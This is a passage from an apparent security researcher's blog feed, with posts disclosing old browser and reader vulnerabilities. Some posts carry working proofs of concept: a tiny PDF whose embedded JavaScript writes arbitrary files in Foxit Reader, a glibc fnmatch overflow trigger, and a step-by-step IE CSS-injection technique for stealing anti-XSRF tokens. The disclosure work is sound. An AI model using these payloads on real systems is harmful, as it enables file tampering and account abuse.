href="http://blog.chromium.org/2011/03/mini-newsletter-from-your-google-chrome.html"&gt;http://blog.chromium.org/2011/03/mini-newsletter-from-your-google-chrome.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My personal favourite is "plug-in blocking enhancements", probably because I implemented it and am therefore biased :-) In reality, the change that's going to really help end user security is "out-of-date plug-in warnings". Users are encouraged to update to the latest security patches for their plug-ins. I personally believe this will be particularly helpful for Java, which is widely installed but users are not always the most uptodate.&lt;br /&gt;&lt;br /&gt;And then I spoke at &lt;a href="http://www.sans.org/appsec-2011/"&gt;SANS AppSec&lt;/a&gt; with Adam Mein about Google's two vulnerability reward programs (Chromium and Web). This seemed to be very well received, as evidenced by the stack of insightful questions. We released a few new stats and charts, so it's probably worth me linking to the slides:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://docs.google.com/present/edit?id=0Ae_usSLlqH60ZGZnYjI0NTVfMjBobngybWRoaA&amp;hl=en"&gt;https://docs.google.com/present/edit?id=0Ae_usSLlqH60ZGZnYjI0NTVfMjBobngybWRoaA&amp;hl=en&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All in all a fun day!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3522950929077422910?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3522950929077422910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3522950929077422910' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3522950929077422910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3522950929077422910'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/03/busy-chrome-day.html' title='Busy Chrome day...'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8146544486842793831</id><published>2011-03-05T23:21:00.001-08:00</published><updated>2011-03-06T00:41:41.170-08:00</updated><title type='text'>Dangerous file write bug in Foxit PDF Reader</title><content type='html'>&lt;i&gt;This is fixed in the recently released Foxit PDF Reader v4.3.1.0218. That release is marked as an &lt;a href="http://www.foxitsoftware.com/pdf/reader/security_bulletins.php#memory"&gt;important security update&lt;/a&gt;, although this file bug is not mentioned.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Recently, I've been playing around with the various JavaScript APIs available in various different PDF readers. In case you wanted to do the same, I made some little tools, including a simple one to execute PDF-based JS via an URL:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/pdfjs.html?js=app.alert('hi')"&gt;https://cevans-app.appspot.com/static/pdfjs.html?js=app.alert('hi')&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The serious bug I found in Foxit PDF Reader permits arbitrary files to be written with arbitrary content, like this:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/pdfjs.html?js=createDataObject('c:/autoexec.bat','echo hi mom')"&gt;https://cevans-app.appspot.com/static/pdfjs.html?js=createDataObject('c:/autoexec.bat','echo hi mom')&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Files can be overwritten as well as created.&lt;br /&gt;&lt;br /&gt;I did some hackery on the generated PDF and managed to squeeze a full valid PDF, including simple JS payload, into 136 characters. This means I can tweet the full PoC PDF, which I will do shortly :) Here it is for completeness:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;%PDF 1 0 obj&amp;lt;&amp;lt;/Pages 1 0 R /OpenAction 2 0 R&amp;gt;&amp;gt; 2 0 obj&amp;lt;&amp;lt;/S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))&amp;gt;&amp;gt; trailer&amp;lt;&amp;lt;/Root 1 0 R&amp;gt;&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8146544486842793831?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8146544486842793831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8146544486842793831' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8146544486842793831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8146544486842793831'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html' title='Dangerous file write bug in Foxit PDF Reader'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8650999186351892883</id><published>2011-02-24T16:13:00.000-08:00</published><updated>2011-02-24T18:54:51.819-08:00</updated><title type='text'>I got accidental code execution via glibc?!</title><content type='html'>&lt;i&gt;The story of &lt;a href="http://code.google.com/p/chromium/issues/detail?id=48733"&gt;Chromium security bug 48733&lt;/a&gt;, with guest Cris Neckar, part I&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;It has been a long time now, but the story of &lt;a href="http://code.google.com/p/chromium/issues/detail?id=48733"&gt;Chromium security bug 48733&lt;/a&gt; deserves to be told. It involves intrigue in glibc and even gcc; and notably I accidentally executed arbitrary code whilst playing with this bug!&lt;br /&gt;&lt;br /&gt;The bug was reported in July 2010, and there were instantly some WTF aspects. It caused a full browser crash on Linux, and the trigger seemed to be a long string. Such a case would tend to suggest a buffer overflow; but these are very unusual in Chromium code. Upon further investigation, the crash was occurring in the glibc function &lt;code&gt;fnmatch()&lt;/code&gt;:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int fnmatch(const char *pattern, const char *string, int flags);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And what was very strange was the trigger was not the pattern (which is a complicated string format), but simply the string itself. Further investigation narrowed the problem down to any long-ish (few megabytes+) string, if the locale was set to UTF8. A simple C test program is included at the end of the post. And here comes the killer: I was playing around and ran the program like this on my 32-bit Ubuntu 9.04 machine:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;./a.out 1073741796&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And &lt;b&gt;accidentally achieved arbitrary code execution!&lt;/b&gt; The "A" characters making up the large input string actually correspond to the instruction &lt;code&gt;inc %ecx&lt;/code&gt; so I wound up executing a bunch of those.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;So what was going on?&lt;/b&gt;&lt;br /&gt;Probably best to tackle the list of interesting points in bullet form:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;glibc had a bug where it would use &lt;code&gt;alloca()&lt;/code&gt; for the length of a user-supplied UTF8 string, times four (with additional integer overflow in the times four). This is good for at least a crash, because alloca() extends the stack, which is typically limited to a few MB.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;It seems uncommon for Linux distributions to compile packages with gcc flags that defend against stack extension attacks -- more about that in part II.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;32-bit Ubuntu releases used to lack DEP. Perhaps they still do? This permits the execution of code contained within heap chunks, and is key to the accidental code execution achieved.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;But how did EIP get redirected? The number passed to &lt;code&gt;a.out&lt;/code&gt; above is a bit magic; glibc multiplies it by 4 (&lt;code&gt;sizeof(wchar_t)&lt;/code&gt;) before passing it to &lt;code&gt;alloca()&lt;/code&gt;, which ends up with the value &lt;code&gt;2^32 - 112&lt;/code&gt;. This wraps the stack pointer, causing an effective &lt;b&gt;decrease&lt;/b&gt; in the stack of 112 bytes.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The decrease in stack size leads to all sorts of havoc; we're not sure, but most likely a local variable (in a subfunction of the function that called &lt;code&gt;alloca()&lt;/code&gt;), pointing to the incoming heap string -- got plonked on top a saved EIP. I no longer have the old version of Ubuntu to test with, and more recent glibcs are fixed, so I can't confirm.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Note that stack extension bugs like this often sidestep a lot of system defenses, such as stack canaries (which are left undamaged) and ASLR (a valid address is automatically filled in). It's another case where Ubuntu could really have used DEP; see &lt;a href="http://scarybeastsecurity.blogspot.com/2009/03/littlecms-exploit.html"&gt;my older Firefox exploit&lt;/a&gt; for further proof!&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;How does part I end?&lt;/b&gt;&lt;br /&gt;Of course, we reported the bug upstream to glibc: &lt;a href="http://sourceware.org/bugzilla/show_bug.cgi?id=11883"&gt;http://sourceware.org/bugzilla/show_bug.cgi?id=11883&lt;/a&gt;. The somewhat terse response notes that the issue was fixed but not in which version. Because of this, no glibc security advisories were released; so apologies if your older but still supported Linux distribution might still have vulnerabilities in this area.&lt;br /&gt;&lt;br /&gt;Although certainly not a bug in Chromium, we still paid the bug finder $1337 under the &lt;a href="http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html"&gt;Chromium Security Reward program&lt;/a&gt;. We did this partly just because we can, and we love encouraging all security research. But also, we were able to work around this glibc bug in Chromium fairly trivially -- so we did so in short order. As can be seen from the Chromium bug, we had all users protected in under 20 days from the original report, despite it not being our fault!&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &amp;lt;err.h&amp;gt;&lt;br /&gt;#include &amp;lt;fnmatch.h&amp;gt;&lt;br /&gt;#include &amp;lt;locale.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, const char* argv[]) {&lt;br /&gt;  size_t num_as;&lt;br /&gt;  char* p;&lt;br /&gt;  setlocale(LC_ALL, "en_US.UTF8");&lt;br /&gt;  if (argc &amp;lt; 2) {&lt;br /&gt;    errx(1, "Missing argument.");&lt;br /&gt;  }&lt;br /&gt;  num_as = atoi(argv[1]);&lt;br /&gt;  if (num_as &amp;lt; 5) {&lt;br /&gt;    errx(1, "Need 5.");&lt;br /&gt;  }&lt;br /&gt;  p = malloc(num_as);&lt;br /&gt;  if (!p) {&lt;br /&gt;    errx(1, "malloc() failed.");&lt;br /&gt;  }&lt;br /&gt;  memset(p, 'A', num_as);&lt;br /&gt;  p[num_as - 1] = '\0';&lt;br /&gt;  p[0] = 'f';&lt;br /&gt;  p[1] = 'o';&lt;br /&gt;  p[2] = 'o';&lt;br /&gt;  p[3] = '.';&lt;br /&gt;  fnmatch("*.anim[1-9j]", p, 0);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8650999186351892883?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8650999186351892883/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8650999186351892883' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8650999186351892883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8650999186351892883'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/02/i-got-accidental-code-execution-via.html' title='I got accidental code execution via glibc?!'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8652337038128359766</id><published>2011-02-16T03:57:00.000-08:00</published><updated>2011-02-16T04:56:58.096-08:00</updated><title type='text'>Some less obvious benefits of HSTS</title><content type='html'>&lt;a href="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02"&gt;HSTS&lt;/a&gt;, standing for HTTP Strict Transport Security, is a relatively new standard that aims to bolster the strength of HTTPS connections.&lt;br /&gt;&lt;br /&gt;Hopefully it's about to catch on. Google Chrome has supported HSTS for a while now, and &lt;a href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/"&gt;Firefox support is imminent&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The stated benefits of HSTS include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Defenses against sslstrip-like attacks. The initial navigation to blah.com is automatically upgraded to HTTPS.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Zero tolerance for certification problems. The user is not permitted to "click through" anything such as a self-signed cert.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;HSTS also comes with some less obvious benefits and security boosts, which it's worth noting:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Mixed-content defense. For same domain mixed-content situations, the fetches are automatically upgraded to HTTPS. This can sometimes sidestep nasty bugs.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Secure cookie defense. It's a pretty egregious bug for an HTTPS-only site to fail to mark its cookies "Secure", but HSTS can defend against the cookie value being sent out plaintext.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/cookie-forcing.html"&gt;Cookie forcing&lt;/a&gt; defense. Cookie forcing is a pretty nasty MITM attack that I was playing with back in 2008. As long as HSTS is used in "includeSubDomains" mode, it can provide a defense against this subtle attack.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Latency win. User who navigate to or bookmark the plain HTTP blah.com are automatically bounced straight to HTTPS, without having to go via an HTTP redirect&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In the future, I'm hopeful HSTS can be extended to provide defenses against possibly rogue CAs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8652337038128359766?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8652337038128359766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8652337038128359766' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8652337038128359766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8652337038128359766'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/02/some-less-obvious-benefits-of-hsts.html' title='Some less obvious benefits of HSTS'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-5141817227733224939</id><published>2011-01-19T16:56:00.000-08:00</published><updated>2011-01-19T17:29:15.034-08:00</updated><title type='text'>A harmless SVG + XSLT curiousity</title><content type='html'>How do you execute code in a turing complete language via the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag? Why, by combining an XSL transform into an SVG image of course!&lt;br /&gt;&lt;br /&gt;I stumbled across this old file in my archives:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cevans-app.appspot.com/static/expensive_xsl_svg.html"&gt;http://cevans-app.appspot.com/static/expensive_xsl_svg.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you run it e.g. in Chrome, it'll consume a load of CPU (and subsequently memory if you let it crank). I expect it'll do the same in any WebKit browser, and Opera's error message implies it has all the pieces to follow suit if I tweaked the file a bit.&lt;br /&gt;&lt;br /&gt;It's not a significant security issue, but it's an interesting quirk. It works because SVG and XSL are both XML formats, and XSL can use a self-referential construct to operate on itself as the input document:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;?xml-stylesheet type="text/xsl" href="#stylesheet"?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If the XSL output XML is valid SVG syntax, then it will render. So you can probably pull some crazy tricks to generate a complicated SVG on the fly! My sample file doesn't get that far; it simply deliberately runs an expensive stylesheet transform with a large output.&lt;br /&gt;&lt;br /&gt;If anyone wanted to play with this, there may be interesting issues with the unusual context the XSL is executing in. What if you used &lt;code&gt;xsl:import&lt;/code&gt; or the &lt;code&gt;document()&lt;/code&gt; XPath function? What origin is used for security checks?, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-5141817227733224939?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/5141817227733224939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=5141817227733224939' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5141817227733224939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5141817227733224939'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html' title='A harmless SVG + XSLT curiousity'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-7071783210108235740</id><published>2010-10-21T16:28:00.000-07:00</published><updated>2010-10-21T18:35:00.853-07:00</updated><title type='text'>Minor leak, major headache</title><content type='html'>I find this bug interesting, because at first it looks like a relatively minor cross-origin leak. But with a bit of investigation, it has major consequence.&lt;br /&gt;&lt;br /&gt;The bug is specific to Internet Explorer, and still seems unfixed (in stable versions) at the time of writing. I told Microsoft about it back in 2008. Therefore this disclosure is &lt;b&gt;not an 0-day&lt;/b&gt;, but more like a 600-day.&lt;br /&gt;&lt;br /&gt;The bug is pretty simple: IE supports a &lt;code&gt;window.onerror&lt;/code&gt; callback which fires whenever a Javascript parse or runtime error occurs. Trouble is, it fires even if &lt;code&gt;www.evil.com&lt;/code&gt; registers its own &lt;code&gt;window.onerror&lt;/code&gt; handler and then uses &lt;code&gt;&amp;lt;script src="http://www.bank.com/"&amp;gt;&lt;/code&gt;. We'll demonstrate the consequence of this later.&lt;br /&gt;&lt;br /&gt;The bug has a very interesting history, which is worth briefly outlining here:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;2006: Possible original discovery of theft of sensitive data aspect, credit &lt;b&gt;Filipe Almeida&lt;/b&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Dec 2006: Jeremiah Grossman demonstrates login determination by profiling cross-origin error messages: &lt;a href="http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html"&gt;http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Unknown, 2007?: Firefox fixes the issue.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Dec 2008: I discover that a redirect bypasses the Firefox protection: &lt;a href="http://scarybeastsecurity.blogspot.com/2008/12/firefox-cross-domain-text-theft.html"&gt;http://scarybeastsecurity.blogspot.com/2008/12/firefox-cross-domain-text-theft.html&lt;/a&gt;. It is fixed pretty quickly.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Dec 2008: &lt;b&gt;Michal Zalewski&lt;/b&gt; notes that my Firefox demo works verbatim in IE. Microsoft informed.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Oct 2010: full disclosure of Internet Explorer variant.&lt;/li&gt;&lt;/ul&gt;So why is this a serious bug? Well, Javascript error messages are usually pretty terse but in at least one case, cross-origin content is echoed back to the attacker: variable names. e.g. &lt;code&gt;'blah' is not defined&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;So if the cross-origin text looks like a Javascript variable reference, then the attacker has a very useful leak!&lt;br /&gt;&lt;br /&gt;Here is a proof-of-concept against Google Reader, which works by stealing cross-origin content which happens to be an anti-XSRF token:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/misc/reader.html"&gt;http://scary.beasts.org/misc/reader.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As it happens, the Reader product deployed a change which detects the vulnerable User-Agent string (Internet Explorer) and uses a workaround. So the PoC is neutered. This is a shame because the PoC used to force your friend to subscribe to a goat-farming feed against their will. For now, you'll have to locate an alternate attack vector for this vulnerability -- do let me know what you find via a comment.&lt;br /&gt;&lt;br /&gt;It's worth closing with some notes that this area is ripe for further research. There are a varied number of text structures which can be stolen (iteratively if necessary) with this trick:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;a,b,c -- i.e. the CSV syntax&lt;/li&gt;&lt;li&gt;The b in a:b&lt;/li&gt;&lt;li&gt;a.b.c&lt;/li&gt;&lt;li&gt;The b in {a:b}&lt;/li&gt;&lt;li&gt;Expression constructs such as a/b/c&lt;/li&gt;&lt;li&gt;Constructs like the above, if wrapped in () or [] etc.&lt;/li&gt;&lt;/ul&gt;To experiment with what Javscript error message you might see with a given piece of cross-origin text, you can use:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/misc/onerr.html"&gt;http://scary.beasts.org/misc/onerr.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(Only works in browsers with window.onerror, such as IE).&lt;br /&gt;&lt;br /&gt;Please leave a comment if you have more constructs which can be stolen; or more examples of sites where stuff can be stolen from.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-7071783210108235740?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/7071783210108235740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=7071783210108235740' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7071783210108235740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7071783210108235740'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/10/minor-leak-major-headache.html' title='Minor leak, major headache'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3121106132451952882</id><published>2010-09-29T01:13:00.000-07:00</published><updated>2010-09-29T02:47:43.020-07:00</updated><title type='text'>IE8 CSS-based forced tweeting</title><content type='html'>A few weeks back, I published a demo that uses a serious Internet Explorer cross-origin violation to permit a malicious web page to force the visitor to make unwarranted tweets:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://seclists.org/fulldisclosure/2010/Sep/64"&gt;http://seclists.org/fulldisclosure/2010/Sep/64&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The post was light on technical details of how the attack works, so they will be filled in below. In addition, I'll quickly take care of the FAQ:&lt;pre&gt;&lt;br /&gt;Q) Does this attack affect earlier versions of Internet Explorer, such as IE6?&lt;br /&gt;A) Yes, the attack works verbatim on IE6 in my testing.&lt;br /&gt;&lt;br /&gt;Q) When will a patch be available?&lt;br /&gt;A) As far as I'm aware, Microsoft have not stated when users of IE6, IE7 and IE8&lt;br /&gt;will be afforded protection. I'm not privy to any other details.&lt;br /&gt;&lt;br /&gt;Q) Why drop this 0-day?&lt;br /&gt;A) The rampant misuse of the term "0-day" is somewhat disappointing. You can look&lt;br /&gt;it up on Wikipedia, but an "0-day" is a term reserved for a disclosure where the&lt;br /&gt;vendor was previously unaware of it. In this instance, the bug is better described&lt;br /&gt;as a "500+ day" if you look at when the bug was first publicly disclosed.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;So how does the Twitter attack work?&lt;/b&gt;&lt;br /&gt;When exploiting this bug in general, you are looking to meet various conditions:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Finding a text injection point in the target origin to start a CSS property.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Using a text injection context that does not escape vital CSS characters.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Arranging for some sensitive information (such as an anti-XSRF token) to appear after the text injection point.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Arranging that no CSS property terminator appears before the sensitive information.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In the Twitter attack, the injection point can clearly be seen; it's simply the text of a tweet in my "scarybeaststest" account:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/scarybeaststest"&gt;http://twitter.com/scarybeaststest&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you look at the raw source HTML of that page on twitter.com, you'll see the following piece of HTML:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;span class="entry-content"&amp;gt;{}body{font-family:"&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;That's the start of a CSS descriptor injected into the Twitter page. Note that none of the characters {, }, : or " need to be escaped in the HTML tag value context -- there is no Twitter bug here.&lt;br /&gt;&lt;br /&gt;The need for the " character in this injection context is subtle: it derives from how the IE CSS parser determines end-of-property. Essentially, IE is just looking for a ; character to denote the end of the value for the "font-family" property. Unluckily for us, the ; character appears in the Twitter HTML prior to the high-value anti-XSRF secret we are trying to steal. This would tend to terminate the injected CSS property early and spoil our day. Fortunately, ; is perfectly acceptable within a quoted section, so the use of " will ensure the stray ; characters appear between a pair of quotes and do not terminate the parse of our CSS property.&lt;br /&gt;&lt;br /&gt;With our injection, the Twitter page ends up looking a little bit like:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;bla..bla..{}body{font-family:"..more HTML prop="value" some ; SECRET_XSRF_TOKEN blah &lt;b&gt;EOF&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The IE CSS parser keeps track of opening and closing quote pairs, and only terminates the CSS property if a ; is encountered outside of quoting. Our usage of a " character to start the property ensures that any ; characters appear within the quoted context. Eventually, the CSS parser includes the secret anti-XSRF token in the CSS property value and then hits EOF with an unterminated quote. IE happily recovers from this situation by constructing a CSS property value with all the text parsed so far!&lt;br /&gt;&lt;br /&gt;So the attacker simply includes the above CSS-property-injected Twitter page as CSS and recovers the CSS value for the "font-family" property, which includes the secret token (as well as a bunch of quoted semi-colons and other HTML detritus which is less interesting to us).&lt;br /&gt;&lt;br /&gt;There is quite a pile of IE CSS parsing bugs involved to pull this off. Many are CSS specification violations:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Newlines permitted within quoted strings.&lt;/li&gt;&lt;li&gt;Whitespace permitted outside quoted strings.&lt;/li&gt;&lt;li&gt;Multiple quoted strings permitted in single property.&lt;/li&gt;&lt;li&gt;End of file within quoted string does not invalidate descriptor.&lt;/li&gt;&lt;li&gt;Bad Content-Type and non-CSS content ignored for cross-origin CSS.&lt;/li&gt;&lt;/ol&gt;As be seen, the interaction of CSS property terminator vs. quoting context is quite subtle. There might well be a simpler twitter.com injection to use, but this more complicated example is simply the first working one I found.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3121106132451952882?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3121106132451952882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3121106132451952882' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3121106132451952882'/><link rel='self' type='application/atom+xml' 